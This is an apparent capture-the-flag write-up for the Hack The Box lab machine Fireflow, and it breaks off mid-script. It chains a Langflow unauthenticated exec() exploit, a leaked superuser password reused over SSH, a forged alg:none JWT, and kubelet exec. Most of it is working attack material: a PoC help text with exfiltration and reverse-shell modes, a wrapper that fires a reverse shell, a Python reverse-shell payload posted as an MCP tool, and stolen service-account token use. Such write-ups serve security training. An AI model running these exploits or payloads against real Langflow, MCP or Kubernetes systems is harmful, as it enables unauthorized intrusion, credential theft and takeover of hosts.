HTB: Fireflow
Fireflow is a medium Linux machine featuring a Langflow AI agent platform vulnerable to CVE-2026-33017, unauthenticated RCE via exec() injection to gain a foothold, Langflow superuser credentials leaked from the process environment for lateral movement, a JWT alg:none bypass against an MCP Tool Registry for code execution inside a Kubernetes pod, and kubelet WebSocket exec via nodes/proxy RBAC against a privileged node-exporter pod with the host filesystem mounted for root.
TL;DR#
IPs#
Hack The Box uses dynamic IP addresses. I will use 10.129.95.7 for Fireflow and 10.10.4.4 for my Kali throughout this writeup, please change them to your own IPs.
Kill Chain#
Langflow 1.8.2 public flow ➔ CVE-2026-33017 exec() RCE ➔ www-data ➔
LANGFLOW_SUPERUSER_PASSWORDenv leak ➔ Password Reuse ➔ nightfall ➔ JWT alg:none bypass ➔ MCP Tool Registry admin RCE ➔ mcp pod ➔nodes/proxyRBAC ➔ kubelet WebSocket exec ➔ node-exporter hostPath/➔ root
Reconnaissance & Enumeration#
TCP Scan: nmap#
My nmap scan reveals two open TCP ports, 22/ssh and 443/https running nginx:
┌──(kali㉿shadowcat-[~/htb/writeups/fireflow]
└─$ nmap -sC -sV -p- --min-rate 10000 10.129.95.7
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-11 00:22 +0000
Nmap scan report for 10.129.95.7
Host is up (0.34s latency).
Not shown: 62310 closed tcp ports (reset), 3223 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
443/tcp open ssl/http nginx
| ssl-cert: Subject: commonName=fireflow.htb/organizationName=Task Force Nightfall/countryName=US
| Subject Alternative Name: DNS:fireflow.htb, DNS:*.fireflow.htb
| Not valid before: 2026-04-14T16:35:31
|_Not valid after: 2028-07-17T16:35:31
|http-title: Did not follow redirect to https://fireflow.htb/
| tls-alpn:
| http/1.1
| http/1.0
| http/0.9
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.05 secondsnmap — cheatsheet reference
-sCruns the default scripts scan,-sVdetects service versions,-p-scans all 65535 ports, and--min-rate 10000keeps the scan fast.
The redirect and SSL certificate leaks the domain fireflow.htb, which I pipe straight to /etc/hosts:
┌──(kali㉿shadowcat)-[~/htb/writeups/fireflow]
└─$ echo "10.129.95.7 fireflow.htb" | sudo tee -a /etc/hostsWebsite: fireflow.htb (Port 443)#
The website https://fireflow.htb is a dark-themed Task Force Nightfall AI intelligence platform:
There is a Open Agent link pointing to https://flow.fireflow.htb/playground/7d84d636-af65-42e4-ac38-26e867052c25.
Subdomain: flow.fireflow.htb#
I add the newly discovered vhost to my /etc/hosts too:
┌──(kali㉿shadowcat)-[~/htb/writeups/fireflow]
└─$ echo "10.129.95.7 flow.fireflow.htb" | sudo tee -a /etc/hostsVisiting https://flow.fireflow.htb returns an Agent Dev chat built with Langflow, which is an open-source, low-code/no-code visual builder for creating AI agents:
Confirming running version via API:
┌──(kali㉿shadowcat)-[~/htb/writeups/fireflow]
└─$ curl -sk https://flow.fireflow.htb/api/v1/version
{"version":"1.8.2","main_version":"1.8.2","package":"Langflow"}curl — cheatsheet reference
Langflow 1.8.2 — and the auto-login endpoint confirms it is disabled:
┌──(kali㉿shadowcat)-[~/htb/writeups/fireflow]
└─$ curl -sk https://flow.fireflow.htb/api/v1/auto_login
{"detail":{"message":"Auto login is disabled.","auto_login":false}}curl — cheatsheet reference
Initial Foothold#
Langflow 1.8.2: CVE-2026-33017#
Searching for known CVEs I find that Langflow ≤ 1.8.2 is vulnerable to CVE-2026-33017 (CVSS 9.8). Attacker-supplied flow data containing arbitrary Python in node definitions is passed directly to exec() with zero sandboxing via the POST /api/v1/build_public_tmp/{flow_id}/flow endpoint.
The key distinction from CVE-2025-3248: that earlier CVE only patched /api/v1/validate/code by adding authentication. CVE-2026-33017 targets a completely different endpoint — the public flow build endpoint — that requires no authentication at all. Langflow 1.8.2 claimed a fix in the changelog but JFrog confirmed the code was never actually changed. Only 1.9.0 removed the data parameter entirely.
Since auto-login is disabled I can not enumerate flows, but the landing page already handed me the public flow UUID 7d84d636-af65-42e4-ac38-26e867052c25. A quick probe confirms the endpoint is live:
┌──(kali㉿shadowcat)-[~/htb/writeups/fireflow]
└─$ curl -sk -X POST "https://flow.fireflow.htb/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow" \
-H "Content-Type: application/json" \
-b "client_id=cb3f9dee-b7d6-473d-9df0-c12d97c42396" \
-d '{"data":{"nodes":[],"edges":[]}}'
{"job_id":"acdaade6-689a-4365-842c-68fc5eb0c96d"}curl — cheatsheet reference
I found & clone a PoC from oscar-mine and test it:
┌──(kali㉿shadowcat)-[~/htb/writeups/fireflow]
└─$ git clone https://github.com/oscar-mine/CVE-2026-33017-Exploit
Cloning into 'CVE-2026-33017-Exploit'...
remote: Enumerating objects: 7, done.
remote: Counting objects: 100% (7/7), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 7 (delta 0), reused 7 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (7/7), 12.04 KiB | 12.04 MiB/s, done.
┌──(kali㉿shadowcat)-[~/htb/writeups/fireflow]
└─$ cd CVE-2026-33017-Exploit
┌──(kali㉿shadowcat)-[~/htb/writeups/fireflow/CVE-2026-33017-Exploit]
└─$ python3 exploit.py -h
usage: exploit.py [-h] [--url URL] [--flow-id FLOW_ID] [--scan-file SCAN_FILE] [--threads THREADS] [--scan-output SCAN_OUTPUT] [--check] [--cmd CMD]
[--callback-get URL] [--callback-post URL] [--revshell LHOST LPORT] [--payload-file PAYLOAD_FILE] [--auto-promote] [--proxy PROXY]
[--timeout TIMEOUT]
_____
/ \
| () () |
\ ^ /
|||||
CVE-2026-33017 -- Langflow Unauthenticated RCE
exec() with no auth, no sandbox, no hope.
CVSS 9.8 | CWE-94, CWE-306 | Langflow <= 1.8.2
Fixed in 1.9.0 (they removed the data param entirely)
KILL CHAIN:
POST /api/v1/build_public_tmp/{flow_id}/flow
-> chat.py -> start_flow_build() -> build_graph_from_data()
-> Graph.from_payload() -> loading.py -> eval.py create_class()
-> validate.py prepare_global_scope() -> exec(compiled_code)
-> arbitrary code runs as the server process. game over.
options:
-h, --help show this help message and exit
TARGET:
who's running exec() on untrusted input today?
--url URL Langflow base URL (e.g. http://10.10.10.5:7860)
--flow-id FLOW_ID specific public flow UUID (auto-discovered if omitted)
BULK SCAN:
feed it a list of targets. it finds the ones that forgot to patch.
--scan-file SCAN_FILE
target list (one URL per line, # comments ok)
--threads THREADS parallel threads (default: 10, max ~50 recommended)
--scan-output SCAN_OUTPUT
dump results to file (TSV: status, url, version, flags)
ATTACK:
pick your poison. blind, exfil, reverse shell, or custom implant.
--check recon only -- fingerprint version + list flows
--cmd CMD OS command to execute (blind unless --callback-*)
--callback-get URL exfil via GET (base64 output in URL path)
--callback-post URL exfil via POST (raw output in request body)
--revshell LHOST LPORT
reverse shell -- connect back to LHOST:LPORT
--payload-file PAYLOAD_FILE
inject raw Python from a .py file (custom implants)
--auto-promote hijack AUTO_LOGIN + PATCH a private flow to PUBLIC
TUNING:
fine-tune the attack. proxy through burp, adjust timeouts.
--proxy PROXY HTTP proxy (e.g. http://127.0.0.1:8080 for Burp)
--timeout TIMEOUT request timeout in seconds (default: 30)
ATTACK MODES:
[recon] fingerprint + enumerate public flows
exploit.py --url http://target:7860 --check
[blind] execute a command (no output returned)
exploit.py --url http://target:7860 --cmd "id"
[exfil] execute + steal output via HTTP callback
exploit.py --url http://target:7860 --cmd "id" \
--callback-get http://your-ip:8080
(output lands as base64 in the URL path of a GET request)
exploit.py --url http://target:7860 --cmd "cat /etc/shadow" \
--callback-post http://your-ip:8080
(raw output lands in the POST body -- no size limits)
[shell] pop a reverse shell back to your listener
exploit.py --url http://target:7860 --revshell your-ip 4444
(run 'nc -l 4444' first on your machine)
[custom] inject arbitrary python from a file
exploit.py --url http://target:7860 --payload-file implant.py
[escalate] no public flows? steal AUTO_LOGIN token + promote one
exploit.py --url http://target:7860 --auto-promote --cmd "id"
[bulk] mass scan targets from a file (vuln check only)
exploit.py --scan-file targets.txt --threads 20
exploit.py --scan-file targets.txt --scan-output results.txt
(file format: one URL per line, e.g. http://10.10.10.5:7860)
TIPS:
* flow IDs are auto-discovered via AUTO_LOGIN (default in most deploys)
* use --proxy http://127.0.0.1:8080 to route through Burp
* payloads must use assignments (e.g. _x = os.popen(...).read())
because Langflow's AST filter only exec()'s Assign/FunctionDef nodes
* reverse shells run in a daemon thread to avoid blocking the event loop
* --callback-get: base64 output in URL path (simple, but URL length limits)
--callback-post: raw output in POST body (no size limits, better for large dumps)
* listener doesn't need to return anything valid -- target fires and forgets
// authorized security research only. you break it, you own it.rce — cheatsheet reference
Exploit’s check confirms UUID target, but --revshell does not fire properly:
┌──(kali㉿shadowcat)-[~/htb/writeups/fireflow/CVE-2026-33017-Exploit]
└─$ python3 exploit.py --check --url https://flow.fireflow.htb \
--flow-id 7d84d636-af65-42e4-ac38-26e867052c25
_____
/ \
| () () |
\ ^ /
|||||
|||||
╔═══════════════════════════════════════════════════════╗
║ CVE-2026-33017 -- Langflow Unauthenticated RCE ║
║ Affected: <= 1.8.2 | CVSS 9.8 | CWE-94 ║
╚═══════════════════════════════════════════════════════╝
// they left exec() wide open. no auth. no sandbox. no mercy.
[*] probing target...
[!] version unknown (endpoint may be restricted)
[*] enumerating flows...
[!] no public flows found
[+] suggested target: 7d84d636-af65-42e4-ac38-26e867052c25
// recon complete. use --cmd or --revshell to exploit.
┌──(kali㉿shadowcat)-[~/htb/writeups/fireflow/CVE-2026-33017-Exploit]
└─$ python3 exploit.py --url http://flow.fireflow.htb \
--flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
--revshell 10.10.4.4 443
_____
/ \
| () () |
\ ^ /
|||||
|||||
╔═══════════════════════════════════════════════════════╗
║ CVE-2026-33017 -- Langflow Unauthenticated RCE ║
║ Affected: <= 1.8.2 | CVSS 9.8 | CWE-94 ║
╚═══════════════════════════════════════════════════════╝
// they left exec() wide open. no auth. no sandbox. no mercy.
[*] probing target...
[!] version unknown (endpoint may be restricted)
[*] enumerating flows...
[!] no public flows found
[~] reverse shell armed -> 10.10.4.4:443
[*] target flow: 7d84d636-af65-42e4-ac38-26e867052c25
>>> EXECUTING PAYLOAD <<<
[~] injecting into http://flow.fireflow.htb/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow
[-] connection refused -- target is down or unreachable
[-] exploit delivery failed
// target survived. for now.rce — cheatsheet reference
So I write a minimal wrapper fire.py that disables SSL verification and injects a reverse shell payload using the PoC’s build_flow_payload() and payload_revshell() helpers:
#!/usr/bin/env python3
import sys, uuid, urllib3
import requests
from exploit import build_flow_payload, payload_revshell
urllib3.disable_warnings()
BASE = "https://flow.fireflow.htb"
FLOW = "7d84d636-af65-42e4-ac38-26e867052c25"
LHOST, LPORT = sys.argv[1], int(sys.argv[2])
code = payload_revshell(LHOST, LPORT)
flow_data = build_flow_payload(code)
url = f"{BASE}/api/v1/build_public_tmp/{FLOW}/flow"
cookies = {"client_id": str(uuid.uuid4())}
r = requests.post(url, json={"data": flow_data},
headers={"Content-Type": "application/json"},
cookies=cookies, timeout=30, verify=False)
print(f"[*] status: {r.status_code}")
job_id = r.json().get("job_id")
if job_id:
print(f"[+] build queued: {job_id}, triggering events stream")
ev = requests.get(f"{BASE}/api/v1/build/{job_id}/events",
stream=True, cookies=cookies, timeout=30, verify=False)
for chunk in ev.iter_content(chunk_size=1024):
if chunk: break
ev.close()Start a nc listener and fire the exploit again:
┌──(kali㉿shadowcat)-[~/htb/writeups/fireflow/CVE-2026-33017-Exploit]
└─$ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
┌──(kali㉿shadowcat)-[~/htb/writeups/fireflow/CVE-2026-33017-Exploit]
└─$ python3 fire.py 10.10.4.4 443
[*] status: 200
[+] build queued: 3c2bb83b-9cfe-413b-bda9-eadf2d016439, triggering events streamnetcat — cheatsheet reference
The shell lands as www-data, upgrading to PTY is key:
┌──(kali㉿shadowcat)-[~/htb/writeups/fireflow/CVE-2026-33017-Exploit]
└─$ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.4.4] from (UNKNOWN) [10.129.95.7] 51194
bash: cannot set terminal process group (1491): Inappropriate ioctl for device
bash: no job control in this shell
www-data@fireflow:/var/lib/langflow$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<ow$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@fireflow:/var/lib/langflow$
zsh: suspended rlwrap -cAr nc -nlvp 443
┌──(kali㉿shadowcat)-[~/htb/writeups/fireflow/CVE-2026-33017-Exploit]
└─$ stty raw -echo; fg
[1] + continued rlwrap -cAr nc -nlvp 443
www-data@fireflow:/var/lib/langflow$ export TERM=xterm-256color; stty rows 50 cols 200
export TERM=xterm-256color; stty rows 50 cols 200
www-data@fireflow:/var/lib/langflow$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@fireflow:/var/lib/langflow$ ls
ls
ba4fe756-d6f7-4c7a-a7b1-f986206878ec langflow.db profile_pictures secret_keynetcat — cheatsheet reference
pty-upgrade — cheatsheet reference
Lateral Movement#
Credential Leak: Langflow Environment#
Langflow stores its superuser credentials in environment variables set by the systemd service unit:
www-data@fireflow:/var/lib/langflow$ env
env
LANGFLOW_LOG_LEVEL=warning
USER_AGENT=langflow
MEMORY_PRESSURE_WRITE=c29tZSAyMDAwMDAgMjAwMDAwMAA=
LANGFLOW_NEW_USER_IS_ACTIVE=False
SERVER_SOFTWARE=gunicorn/22.0.0
PWD=/var/lib/langflow
LOGNAME=www-data
LANGFLOW_SUPERUSER=langflow
SYSTEMD_EXEC_PID=1491
LANGFLOW_CONFIG_DIR=/var/lib/langflow
HOME=/var/www
LANG=en_US.UTF-8
MEMORY_PRESSURE_WATCH=/sys/fs/cgroup/system.slice/langflow.service/memory.pressure
INVOCATION_ID=0fa778c4723e40fc9398784828095112
TERM=xterm
USER=www-data
LANGFLOW_AUTO_LOGIN=False
SHLVL=3
LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll
LANGFLOW_SECRET_KEY=XgDCYma6JZzT3XXyePTbr4vgWrrZ4Vzz-PCQ4PXfKgE
JOURNAL_STREAM=8:10506
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/snap/bin
LANGFLOW_CORS_ORIGINS=https://flow.fireflow.htb,https://fireflow.htb
_=/usr/bin/env
www-data@fireflow:/var/lib/langflow$ ls /home
ls /home
nightfallUsername: nightfall
Password: n1ghtm4r3_b4_n1ghtf4ll
Password Reuse: nightfall#
The only non-root user on the box is nightfall (uid 1000). The Langflow superuser password is a themed phrase — nightmare before nightfall — making password reuse the obvious next step:
┌──(kali㉿shadowcat)-[~/htb/writeups/fireflow]
└─$ ssh nightfall@fireflow.htb
The authenticity of host 'fireflow.htb (10.129.95.7)' can't be established.
ED25519 key fingerprint is: SHA256:OZNUeTZ9jastNKKQ1tFXatbeOZzSFg5Dt7nhwhjorR0
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'fireflow.htb' (ED25519) to the list of known hosts.
nightfall@fireflow.htb's password: n1ghtm4r3_b4_n1ghtf4ll
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-111-generic x86_64)
Documentation: https://help.ubuntu.com
Management: https://landscape.canonical.com
Support: https://ubuntu.com/pro
System information as of Tue Aug 11 01:24:45 AM UTC 2026
System load: 0.05
Usage of /: 84.7% of 15.58GB
Memory usage: 59%
Swap usage: 0%
Processes: 251
Users logged in: 1
IPv4 address for eth0: 10.129.95.7
IPv6 address for eth0: dead:beef::a0de:adff:fe6c:f83
=> There is 1 zombie process.
Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
2 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Aug 11 00:56:20 2026 from 10.10.4.4
nightfall@fireflow:~$ id
uid=1000(nightfall) gid=1000(nightfall) groups=1000(nightfall)
nightfall@fireflow:~$ ls -al
total 36
drwxr-x--- 5 nightfall nightfall 4096 May 12 15:28 .
drwxr-xr-x 3 root root 4096 May 12 15:28 ..
lrwxrwxrwx 1 root root 9 May 12 14:24 .bash_history -> /dev/null
-rw-r--r-- 1 nightfall nightfall 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 nightfall nightfall 3771 Mar 31 2024 .bashrc
drwx------ 2 nightfall nightfall 4096 May 12 15:28 .cache
drwxrwxr-x 3 nightfall nightfall 4096 May 12 15:28 .local
drwx------ 2 nightfall nightfall 4096 Aug 11 00:18 .mcp
-rw-r--r-- 1 nightfall nightfall 807 Mar 31 2024 .profile
-rw-r----- 1 root nightfall 33 Aug 11 00:19 user.txt
nightfall@fireflow:~$ User Flag#
Logged in as nightfall and snacking the user flag:
nightfall@fireflow:~$ cat user.txt
59b9547f4e3b419f1993571cdcbf750aPrivilege Escalation#
Enumeration#
sudo -l returns nothing for nightfall and Standard SUID binaries are all stock Ubuntu.
Looking at running processes reveals a k3s (lightweight Kubernetes) server running as root, along with several containerd-shim processes confirming active pods:
nightfall@fireflow:~$ sudo -l
[sudo] password for nightfall:
Sorry, user nightfall may not run sudo on fireflow.
nightfall@fireflow:~$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/chfn
/usr/bin/fusermount3
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/mount
/usr/bin/su
/usr/bin/chsh
/usr/bin/passwd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
nightfall@fireflow:~$ /usr/local/bin/k3s -h
NAME:
k3s - Kubernetes, but small and simple
USAGE:
k3s [global options] command [command options]
VERSION:
v1.34.6+k3s1 (234e6132)
COMMANDS:
server Run management server
agent Run node agent
kubectl Run kubectl
crictl Run crictl
ctr Run ctr
check-config Run config check
token Manage tokens
etcd-snapshot Manage etcd snapshots
secrets-encrypt Control secrets encryption and keys rotation
certificate Manage K3s certificates
completion Install shell completion script
help, h Shows a list of commands or help for one command
GLOBAL OPTIONS:
--debug (logging) Turn on debug logs (default: false) [$K3S_DEBUG]
--data-dir value, -d value (data) Folder to hold state default /var/lib/rancher/k3s or ${HOME}/.rancher/k3s if not root [$K3S_DATA_DIR]
--help, -h show help
--version, -v print the version
nightfall@fireflow:~$sudo-abuse — cheatsheet reference
suid-abuse — cheatsheet reference
MCP Tool Registry: ~/.mcp/config.json#
Nightfall’s home directory contains a hidden .mcp directory with a config.json:
nightfall@fireflow:~/.mcp$ ls
config.json
nightfall@fireflow:~/.mcp$ cat config.json
{
"server": "http://10.129.95.7:30080",
"status_endpoint": "/api/v1/version",
"user": "langflow-bot",
"password": "Langfl0w@mcp2026!"
}
nightfall@fireflow:~/.mcp$ Port 30080 is a Kubernetes NodePort. Probing it:
nightfall@fireflow:~/.mcp$ curl -s http://127.0.0.1:30080/api/v1/version | jq
{
"service": "MCP AI Tool Registry",
"version": "0.1.0",
"auth": {
"type": "JWT",
"header": "Authorization: Bearer <token>",
"supported_algorithms": [
"HS256",
"none"
]
},
"docs": "/docs",
"endpoints": [
"POST /mcp [MCP JSON-RPC 2.0]",
"POST /api/v1/auth",
"GET /api/v1/tools",
"POST /api/v1/tools [admin]"
]
}
nightfall@fireflow:~/.mcp$curl — cheatsheet reference
Two findings jump out immediately: supported_algorithms includes "none" — a critical JWT vulnerability — and POST /api/v1/tools is an admin-only endpoint for registering tools with a code field.
JWT alg:none Bypass#
The JWT none algorithm vulnerability means a token with "alg":"none" and an empty signature is accepted as valid. I craft an admin token without needing the signing secret:
cat > jwt.py << 'EOF'
import base64, json
def b64url(data):
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
header = b64url(json.dumps({"alg":"none","typ":"JWT"}).encode())
payload = b64url(json.dumps({"sub":"attacker","role":"admin"}).encode())
token = f"{header}.{payload}."
print(token)
EOFnightfall@fireflow:~/.mcp$ export ADMIN_JWT=$(python3 jwt.py)
nightfall@fireflow:~/.mcp$ echo $ADMIN_JWT
eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiAiYXR0YWNrZXIiLCAicm9sZSI6ICJhZG1pbiJ9.Verifying the forged token works against the admin endpoint:
nightfall@fireflow:~/.mcp$ curl -s -X POST http://127.0.0.1:30080/api/v1/tools \
-H "Authorization: Bearer $ADMIN_JWT" \
-H "Content-Type: application/json" \
-d '{"name":"test","description":"x","code":"print(1)"}' | jq
{
"status": "registered",
"name": "test"
}curl — cheatsheet reference
MCP RCE: Tool Registration#
The POST /api/v1/tools endpoint accepts a code field containing arbitrary Python that is executed when the tool is called via the MCP JSON-RPC endpoint. The framework captures print() output as the tool result:
# Register a reverse shell tool
nightfall@fireflow:~$ curl -s -X POST http://127.0.0.1:30080/api/v1/tools \
-H "Authorization: Bearer $ADMIN_JWT" \
-H "Content-Type: application/json" \
-d '{
"name": "shell",
"description": "debug shell",
"inputSchema": {"type":"object","properties":{}},
"code": "import socket,os,pty\npid=os.fork()\nif pid>0:\n import sys;sys.exit(0)\nos.setsid()\npid=os.fork()\nif pid>0:\n import sys;sys.exit(1)\ns=socket.socket()\ns.connect((\"10.10.4.4\",443))\n[os.dup2(s.fileno(),i) for i in(0,1,2)]\npty.spawn(\"/bin/sh\")"
}'
{"status":"registered","name":"shell"}
# Trigger it
nightfall@fireflow:~$ curl -s -X POST http://127.0.0.1:30080/mcp \
-H "Authorization: Bearer $ADMIN_JWT" \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"shell","arguments":{}}}'reverse-shell — cheatsheet reference
curl — cheatsheet reference
Shell lands as mcp inside the MCP pod:
┌──(kali㉿shadowcat)-[~]
└─$ rlwrap -cAr nc -nlvp 443
connect to [10.10.4.4] from (UNKNOWN) [10.129.95.7] 50039
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
mcp@mcp-server-54464cb475-29ztf:/app$
zsh: suspended rlwrap -cAr nc -nlvp 443
┌──(kali㉿shadowcat)-[~/htb/writeups/fireflow]
└─$ stty raw -echo; fg
[1] + continued rlwrap -cAr nc -nlvp 443
mcp@mcp-server-54464cb475-29ztf:/app$ export TERM=xterm-256color; stty rows 50 cols 200
<$ export TERM=xterm-256color; stty rows 50 cols 200
mcp@mcp-server-54464cb475-29ztf:/app$ id
id
uid=1000(mcp) gid=1000(mcp) groups=1000(mcp)netcat — cheatsheet reference
pty-upgrade — cheatsheet reference
Kubernetes RBAC: nodes/proxy#
From inside the MCP pod I enumerate RBAC permissions using the mounted service-account token:
mcp@mcp-server-54464cb475-29ztf:/app$ export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
mcp@mcp-server-54464cb475-29ztf:/app$ echo $TOKEN
echo $TOKEN
eyJhbGciOiJSUzI1NiIsImtpZCI6ImFQRTZ5R3JrSUpadmdid19HcHBTRTBYUFJZWUxqeGcxUHJIaFJjTEVSdm8ifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxODIwOTc1MjkwLCJpYXQiOjE3ODk0MzkyOTAsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwianRpIjoiMGYyMmE1N2ItZjI1ZC00MDc3LTkzNmEtYzA0MjhjNGU4NzMxIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0Iiwibm9kZSI6eyJuYW1lIjoiZmlyZWZsb3ciLCJ1aWQiOiI4NzI5MTU4OC0wMTc4LTRlNDItYTk5OC00MWE1MmZhNzNiOGUifSwicG9kIjp7Im5hbWUiOiJtY3Atc2VydmVyLTU0NDY0Y2I0NzUtMjl6dGYiLCJ1aWQiOiI3MDJhZmViYi00ZjUxLTRlZDUtYWE5OC1hYjZiMjU1M2E3MjgifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6Im1jcC1zYSIsInVpZCI6ImE1MzRmNTUxLWIyYjEtNGU2Ni1iZGE1LWU5YjVlMmE1NjAyYyJ9LCJ3YXJuYWZ0ZXIiOjE3ODk0NDI4OTd9LCJuYmYiOjE3ODk0MzkyOTAsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0Om1jcC1zYSJ9.Yw-mtqbQLnWsk6xesYKfAGTCQaiK8wz3VB9RppvdyDLH80TYXVN1-WwfgcrG8Hdg2rMuNNiqgmhKyVmOWu8BYfSWF9a8FgdA7QWcuiKPkGoT9tDSNdtwF3vQXLRWc_LJmIhV2xkbnhNORJMFJymxo2qGHMHS2I1imEMWpRyfvny1Fe7OGHuPywGUSkDbf8Rdb8diyiYcq32q6ib30bt56KHJbVam61PSHqnMfXJTag2Y18z3NXda-OFM-sM81eIUDat2zN3VtIdQEJqSHY6zQivimPsCBwY74AxplIhZNwdSQ9OqFaV4YumF5WBfCwzGd5Ro-bnHRlL7T_i__M6E-g
mcp@mcp-server-54464cb475-29ztf:/app$ curl -sk -X POST https://10.43.0.1/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}' \
| python3 -m json.tool
curl -sk -X POST https://10.43.0.1/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
> -H "Authorization: Bearer $TOKEN" \
> -H "Content-Type: application/json" \
> -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}' \
> | python3 -m json.tool
{
"kind": "SelfSubjectRulesReview",
"apiVersion": "authorization.k8s.io/v1",
"metadata": {},
"spec": {},
"status": {
"resourceRules": [
{
"verbs": [
"get"
],
"apiGroups": [
""
],
"resources": [
"nodes/proxy"
]
},
{
"verbs": [
"create"
],
"apiGroups": [
"authorization.k8s.io"
],
"resources": [
"selfsubjectaccessreviews",
"selfsubjectrulesreviews"
]
},
{
"verbs": [
"create"
],
"apiGroups": [
"authentication.k8s.io"
],
"resources": [
"selfsubjectreviews"
]
}
],
"nonResourceRules": [
{
"verbs": [
"get"
],
"nonResourceURLs": [
"/healthz",
"/livez",
"/readyz",
"/version",
"/version/"
]
},
{
"verbs": [
"get"
],
"nonResourceURLs": [
"/api",
"/api/*",
"/apis",
"/apis/*",
"/healthz",
"/livez",
"/openapi",
"/openapi/*",
"/readyz",
"/version",
"/version/"
]
},
{
"verbs": [
"get"
],
"nonResourceURLs": [
"/.well-known/openid-configuration",
"/.well-known/openid-configuration/",
"/openid/v1/jwks",
"/openid/v1/jwks/"
]
}
],
"incomplete": false
}
}curl — cheatsheet reference
The SA has get on nodes/proxy — this allows proxying GET requests through the apiserver directly to the kubelet API on any node. Enumerating running pods via the kubelet proxy:
mcp@mcp-server-54464cb475-29ztf:~$ curl -sk --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
-H "Authorization: Bearer $TOKEN" \
https://kubernetes.default.svc/api/v1/nodes/fireflow/proxy/pods | \
python3 -c "
import sys, json
d = json.load(sys.stdin)
for p in d.get('items', []):
s = p.get('spec', {})
hostpid = s.get('hostPID', False)
vols = [v.get('hostPath', {}).get('path') for v in s.get('volumes', []) if 'hostPath' in v]
print(p['metadata']['name'], f'hostPID={hostpid}', f'hostPath={vols}')" | python3 -m json.tool
prometheus-kube-state-metrics-7c8c787854-25j6q hostPID=False hostPath=[]
prometheus-server-867bb4fcfd-m4t59 hostPID=False hostPath=[]
mcp-server-54464cb475-29ztf hostPID=False hostPath=[]
prometheus-prometheus-node-exporter-nmntq hostPID=True hostPath=['/proc', '/sys', '/']
coredns-76c974cb66-cn7l6 hostPID=False hostPath=[]
local-path-provisioner-8686667995-lp9th hostPID=False hostPath=[]
metrics-server-c8774f4f4-phw6q hostPID=False hostPath=[]curl — cheatsheet reference
The node-exporter pod has hostPID=true and the entire host filesystem mounted at /host/root. This is the path to root.
Kubelet WebSocket Exec: node-exporter#
The kubelet’s /exec/ endpoint supports WebSocket connections authenticated with a service-account bearer token.
I write kube.py to execute arbitrary commands inside the node-exporter container via the kubelet on port 10250:
#!/usr/bin/env python3
import asyncio, ssl, sys, websockets
NODE = "10.129.95.7"
NE_NS = "monitoring"
NE_POD = "prometheus-prometheus-node-exporter-nmntq"
NE_CNT = "node-exporter"
TOKEN = open('/var/run/secrets/kubernetes.io/serviceaccount/token').read().strip()
COMMAND = sys.argv[1] if len(sys.argv) > 1 else 'id'
async def ws_exec(cmd_parts):
